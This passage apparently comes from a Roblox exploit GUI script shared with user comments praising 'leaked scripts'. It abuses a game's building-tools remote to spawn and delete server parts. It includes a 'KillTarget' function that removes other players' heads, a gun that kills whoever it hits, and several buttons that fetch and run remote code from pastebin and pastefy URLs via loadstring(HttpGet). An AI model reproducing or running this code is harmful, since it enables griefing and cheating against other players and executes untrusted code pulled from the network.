[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function Setmate(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = int
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color,
["UnionColoring"] = false
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxasset://".. asset
}
}
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1,part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function light(part)
spawn(function()
if not part or not part:IsA("BasePart") then
return
end
spawn(function()
local createArgs = {
"CreateLights",
{
{
Part = part,
LightType = "PointLight"
}
}
}
local syncArgs = {
"SyncLighting",
{
{
Part = part,
LightType = "PointLight",
Color = Color3.fromRGB(255, 155, 0),
Brightness = 20,
Range = 2,
}
}
}
spawn(function()
_(createArgs)
end)
spawn(function()
_(syncArgs)
end)
task.wait()
if part and part.Parent then
for i, v in ipairs(part:GetDescendants()) do
if v:IsA("PointLight") then
spawn(function()
DestroyPart(v)
end)
end
end
end
end)
end)
end
local function blood(part)
local argsCreate = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Smoke"
}
}
}
local argsSync = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Smoke",
["Size"] = 3,
["RiseVelocity"] = 0,
["Opacity"] = 1,
["Color"] = Color3.fromRGB(60000, 0, 0)
}
}
}
spawn(function()
_(argsCreate)
end)
spawn(function()
_(argsSync)
end)
end
function KillTarget(target)
if target and target.Character then
local head = target.Character:FindFirstChild("Head")
if head then
local args = {
[1] = "SetLocked",
[2] = { [1] = head },
[3] = false
}
_(args)
spawn(function()
blood(target.Character.Torso)
end)
local args2 = {
[1] = "Remove",
[2] = { [1] = head }
}
_(args2)
end
end
end
for i,v in char:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetTrans(v,1)
end)
end
end
for i,v in char:GetDescendants() do
if v:IsA("Decal") then
spawn(function()
DestroyPart(v)
end)
end
end
rightArm=char["Right Arm"]
cf=CFrame.new()
local larm = char["Left Arm"]
local rarm = char["Right Arm"]
local lleg = char["Left Leg"]
local rleg = char["Right Leg"]
local trs= char.Torso
local hd = char.Head
nlarm = remote:InvokeServer("CreatePart","Normal",cf,workspace)
nrarm = remote:InvokeServer("CreatePart","Normal",cf,workspace)
nlleg = remote:InvokeServer("CreatePart","Normal",cf,workspace)
nrleg = remote:InvokeServer("CreatePart","Normal",cf,workspace)
ntrs = remote:InvokeServer("CreatePart","Normal",cf,workspace)
nhd = remote:InvokeServer("CreatePart","Normal",cf,workspace)
spawn(function()
Resize(nlarm, larm.Size, larm.CFrame)
end)
spawn(function()
Resize(nrarm, rarm.Size, rarm.CFrame)
end)
spawn(function()
Resize(nlleg, lleg.Size, lleg.CFrame)
end)
spawn(function()
Resize(nrleg, rleg.Size, rleg.CFrame)
end)
spawn(function()
Resize(ntrs, trs.Size, trs.CFrame)
end)
spawn(function()
Resize(nhd, hd.Size, hd.CFrame)
end)
spawn(function()
Color(nlarm, Color3.fromRGB(255, 255, 255))
end)
spawn(function()
Color(nrarm, Color3.fromRGB(255, 255, 255))
end)
spawn(function()
Color(nlleg, Color3.fromRGB(0, 0, 0))
end)
spawn(function()
Color(nrleg, Color3.fromRGB(0, 0, 0))
end)
spawn(function()
Color(ntrs, Color3.fromRGB(155, 155, 155))
end)
spawn(function()
Color(nhd, Color3.fromRGB(255, 255, 255))
end)
spawn(function()
SetCollision(nlarm, false)
end)
spawn(function()
SetCollision(nrarm, false)
end)
spawn(function()
SetCollision(nlleg, false)
end)
spawn(function()
SetCollision(nrleg, false)
end)
spawn(function()
SetCollision(ntrs, false)
end)
spawn(function()
SetCollision(nhd, false)
end)
spawn(function()
AddMesh(nhd)
end)
spawn(function()
SpawnDecal(nhd,Enum.NormalId.Front)
end)
spawn(function()
AddDecal(nhd,"textures/face.png",Enum.NormalId.Front)
end)
spawn(function()
MeshResize(nhd, Vector3.new(1.3,1.3,1.3))
end)
spawn(function()
AddMesh(nlarm)
end)
spawn(function()
SetMesh(nlarm,"127739625807358")
end)
spawn(function()
AddMesh(nrarm)
end)
spawn(function()
SetMesh(nrarm,"127739625807358")
end)
spawn(function()
AddMesh(ntrs)
end)
spawn(function()
SetMesh(ntrs,"2027989253")
end)
spawn(function()
AddMesh(nlleg)
end)
spawn(function()
SetMesh(nlleg,"127739625807358")
end)
spawn(function()
AddMesh(nrleg)
end)
spawn(function()
SetMesh(nrleg,"127739625807358")
end)
spawn(function()
local plr = game.Players.LocalPlayer
local char = plr.Character
local humanoid = char:FindFirstChild("Humanoid")
local torso = char:FindFirstChild("Torso")
local head = char.Head
local ra = char:FindFirstChild("Right Arm")
local la = char:FindFirstChild("Left Arm")
local rl = char:FindFirstChild("Right Leg")
local ll = char:FindFirstChild("Left Leg")
local rs = torso:FindFirstChild("Right Shoulder")
local ls = torso:FindFirstChild("Left Shoulder")
local rh = torso:FindFirstChild("Right Hip")
local lh = torso:FindFirstChild("Left Hip")
local neck = torso:FindFirstChild("Neck")
local rj = char:FindFirstChild("HumanoidRootPart"):FindFirstChild("RootJoint")
local anim = char:FindFirstChild("Animate")
if anim then
anim:Destroy()
end
local rm = Instance.new("Weld", torso)
rm.C0 = CFrame.new(1.5, 0.5, 0)
rm.C1 = CFrame.new(0, 0.5, 0)
rm.Part0 = torso
rm.Part1 = ra
local lm = Instance.new("Weld", torso)
lm.C0 = CFrame.new(-1.5, 0.5, 0)
lm.C1 = CFrame.new(0, 0.5, 0)
lm.Part0 = torso
lm.Part1 = la
local rlegm = Instance.new("Motor", torso)
rlegm.C0 = CFrame.new(0.5, -1, 0)
rlegm.C1 = CFrame.new(0, 1, 0)
rlegm.Part0 = torso
rlegm.Part1 = rl
rlegm.Name = "Right Hip"
local llegm = Instance.new("Motor", torso)
llegm.C0 = CFrame.new(-0.5, -1, 0)
llegm.C1 = CFrame.new(0, 1, 0)
llegm.Part0 = torso
llegm.Part1 = ll
llegm.Name = "Left Hip"
neck.C0 = CFrame.new(0, 1, 0)
neck.C1 = CFrame.new(0, -0.5, 0)
rj.C0 = CFrame.new(0, -1, 0)
rj.C1 = CFrame.new(0, -1, 0)
local rsc0 = rm.C0
local lsc0 = lm.C0
local neckc0 = neck.C0
local rootc0 = rj.C0
local llc0 = llegm.C0
local rlc0 = rlegm.C0
local speed = 0.4
local angle = 0
local anglespeed = 0
local mvmnt = 0
local rootpart = char:FindFirstChild("HumanoidRootPart")
local camera = workspace.CurrentCamera
function clerp(c1, c2, al)
local com1 = {c1.X, c1.Y, c1.Z, c1:toEulerAnglesXYZ()}
local com2 = {c2.X, c2.Y, c2.Z, c2:toEulerAnglesXYZ()}
for i,v in pairs(com1) do
com1[i] = v + (com2[i] - v) * al
end
return CFrame.new(com1[1], com1[2], com1[3]) * CFrame.Angles(select(4, unpack(com1)))
end
game:GetService("RunService").RenderStepped:Connect(function()
angle = (angle % 100) + anglespeed / 10
mvmnt = math.pi * math.sin(math.pi * 2 / 100 * (angle * 10))
local rscf = rsc0
local lscf = lsc0
local rlcf = rlc0
local llcf = llc0
local rjcf = rootc0
local ncf = neckc0
local rayz = Ray.new(rootpart.Position, Vector3.new(0, -4.1, 0))
local hitz, enz = workspace:FindPartOnRay(rayz, char)
ncf = neckc0 * CFrame.Angles(camera.CoordinateFrame.lookVector.y, 0, 0)
rscf = rsc0 * CFrame.new(-.55, 0, .35) * CFrame.Angles(camera.CoordinateFrame.lookVector.y + math.pi/2, 0, 0)
lscf = lsc0 * CFrame.new(.85, 0, -.65) * CFrame.Angles(camera.CoordinateFrame.lookVector.y + math.pi/2, 0, math.rad(45))
if not hitz then
ncf = neckc0 * CFrame.Angles(math.pi/18, 0, 0)
rscf = rsc0 * CFrame.new(-.45, 0, -.75) * CFrame.Angles(math.pi/5 + math.pi/18, 0, math.rad(-70))
lscf = lsc0 * CFrame.new(.35, 0, 0) * CFrame.Angles(math.pi/3.5 + math.pi/18, 0, 0)
rjcf = rootc0 * CFrame.Angles(-math.pi/32, 0, 0)
rlcf = rlc0 * CFrame.new(0, 0.7, -0.5) * CFrame.Angles(-math.pi/14, 0, 0)
llcf = llc0 * CFrame.Angles(-math.pi/20, 0, 0)
elseif humanoid.Sit then
ncf = neckc0 * CFrame.Angles(0, 0, 0)
rjcf = rootc0 * CFrame.new(0, -.2, 0)
rlcf = rlc0 * CFrame.Angles(math.pi/2, 0, math.rad(7.5))
llcf = llc0 * CFrame.Angles(math.pi/2, 0, -math.rad(7.5))
elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude <= 2 then
rjcf = rootc0
rlcf = rlc0 * CFrame.Angles(-math.rad(.5), 0, math.rad(1.5))
llcf = llc0 * CFrame.Angles(math.rad(1.5), 0, -math.rad(1.5))
elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude <= 20 then
anglespeed = 2
rjcf = rootc0
rlcf = rlc0 * CFrame.Angles(math.sin(-angle) * .65, 0, math.rad(.5))
llcf = llc0 * CFrame.Angles(math.sin(angle) * .65, 0, -math.rad(.5))
elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 20 then
anglespeed = 2.7
ncf = neckc0 * CFrame.Angles(math.pi/18, 0, 0)
rscf = rsc0 * CFrame.new(-.45, 0, -.75) * CFrame.Angles(math.pi/5 + math.pi/18, 0, math.rad(-70))
lscf = lsc0 * CFrame.new(.35, 0, 0) * CFrame.Angles(math.pi/3.5 + math.pi/18, 0, 0)
rjcf = rootc0 * CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/18, math.sin(angle) * .1, math.sin(angle) * .045)
rlcf = rlc0 * CFrame.new(0, .3 + -math.cos(-angle) * .3, -.2 + math.sin(angle) * 0.25) * CFrame.Angles(-math.pi/18 + math.sin(-angle) * 1.3, 0, math.rad(.5))
llcf = llc0 * CFrame.new(0, .3 - -math.cos(angle) * .3, -.05 - math.sin(angle) * 0.25) * CFrame.Angles(-math.pi/18 + math.sin(angle) * 1.3, 0, -math.rad(.5))
end
rm.C0 = clerp(rm.C0, rscf, speed)
lm.C0 = clerp(lm.C0, lscf, speed)
rj.C0 = clerp(rj.C0, rjcf, speed)
rlegm.C0 = clerp(rlegm.C0, rlcf, speed)
llegm.C0 = clerp(llegm.C0, llcf, speed)
neck.C0 = clerp(neck.C0, ncf, speed)
end)
end)
for i,v in char:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetAnchor(false,v)
end)
end
end
r=Instance.new
local ak = remote:InvokeServer("CreatePart","Normal",cf,workspace)
spawn(function()
Resize(ak, Vector3.new(0.3,1.45,5.05), CFrame.new())
end)
spawn(function()
SetName(ak,'AK-47')
end)
spawn(function()
SetCollision(ak, false)
end)
spawn(function()
Color(ak, Color3.new(0,0,0))
end)
spawn(function()
AddMesh(ak)
end)
spawn(function()
SetMesh(ak, "6951907418")
end)
spawn(function()
MeshResize(ak,Vector3.new(0.1,0.1,0.1))
end)
function e()
task.spawn(function()
MovePart(nlarm, larm.CFrame)
end)
task.spawn(function()
MovePart(nrarm, rarm.CFrame)
end)
task.spawn(function()
MovePart(nlleg, lleg.CFrame)
end)
task.spawn(function()
MovePart(nrleg, rleg.CFrame)
end)
task.spawn(function()
MovePart(ntrs, trs.CFrame)
end)
task.spawn(function()
MovePart(nhd, hd.CFrame)
end)
task.spawn(function()
MovePart(ak, rarm.CFrame * CFrame.new(0,-1,-0.25) * CFrame.Angles(math.rad(270),math.rad(-180),0))
end)
end
function FireLaser()
local sounds = {
{17.49,17.981267708586},
{17.490114626798,17.755552823579},
{18,18.465876732586707476}
}
local ids = sounds[math.random(#sounds)]
spawn(function()
s=r('Sound',ak)
s.SoundId='rbxassetid://1174337926'
s.Volume=3
s:Play()
wait(5)
s:Destroy()
end)
local laserPart = remote:InvokeServer("CreatePart","Normal",cf,workspace)
spawn(function()
Setmate(laserPart, "Neon")
end)
spawn(function()
SetCollision(laserPart, false)
end)
local mouse = player:GetMouse()
local start = ak.Position + Vector3.new(0.5,0,-0.5)
local endp = mouse.Hit.p
local ignoreList = {char, ak, nlarm, nrarm, nlleg, nrleg, ntrs, nhd}
local ray = Ray.new(start, (endp-start).unit * 999)
local hit, position = workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
local mag = (start-position).magnitude + 2
spawn(function()
Resize(laserPart, Vector3.new(0.1,0.1,mag), CFrame.new())
end)
spawn(function()
MovePart(laserPart, CFrame.new(start, position) * CFrame.new(0,0,-mag/2))
end)
spawn(function()
Color(laserPart, Color3.new(1,1,0))
end)
spawn(function()
for i = 1,10 do
spawn(function()
SetTrans(laserPart, i/10)
end)
wait(0.05)
end
spawn(function()
DestroyPart(laserPart)
end)
end)
spawn(function()
if hit then
local humanoid = hit.Parent:FindFirstChildOfClass("Humanoid")
if humanoid then
local playerHit = game.Players:GetPlayerFromCharacter(hit.Parent)
if playerHit then
KillTarget(playerHit)
end
end
end
end)
end
local mouse = player:GetMouse()
u.TouchTap:Connect(function(gameProccessed, input)
if not gameProccessed then return end
if not char then return end
if char.Humanoid.Health == 0 then return end
spawn(function()
FireLaser()
end)
spawn(function()
light(ak)
end)
end)
RunService.Heartbeat:Connect(e)
task.delay(DEBOUNCE_TIME, function()
isDebounced = false
end)
end)
end;
task.spawn(C_c);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.soul reaper.LocalScript
local function C_f()
local script = LMG2L["LocalScript_f"];
local button = script.Parent
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local DEBOUNCE_TIME = 0.25
local isDebounced = false
button.Activated:Connect(function()
if isDebounced then return end
isDebounced = true
loadstring(game:HttpGet("https://pastebin.com/raw/ZCbtsY86"))()
task.delay(DEBOUNCE_TIME, function()
isDebounced = false
end)
end)
end;
task.spawn(C_f);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.floating earth.LocalScript
local function C_12()
local script = LMG2L["LocalScript_12"];
local button = script.Parent
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local DEBOUNCE_TIME = 0.25
local isDebounced = false
button.Activated:Connect(function()
if isDebounced then return end
isDebounced = true
loadstring(game:HttpGet("https://pastefy.app/bIR5jI2O/raw"))()
task.delay(DEBOUNCE_TIME, function()
isDebounced = false
end)
end)
end;
task.spawn(C_12);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.ORB.LocalScript
local function C_15()
local script = LMG2L["LocalScript_15"];
local button = script.Parent
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local DEBOUNCE_TIME = 0.25
local isDebounced = false
button.Activated:Connect(function()
if isDebounced then return end
isDebounced = true
loadstring(game:HttpGet("https://pastebin.com/raw/xXcjPDWp"))()
task.delay(DEBOUNCE_TIME, function()
isDebounced = false
end)
end)
end;
task.spawn(C_15);
return LMG2L["ScreenGui_1"], require;



hi
cool
leaked scripts but op gui
Ayo op!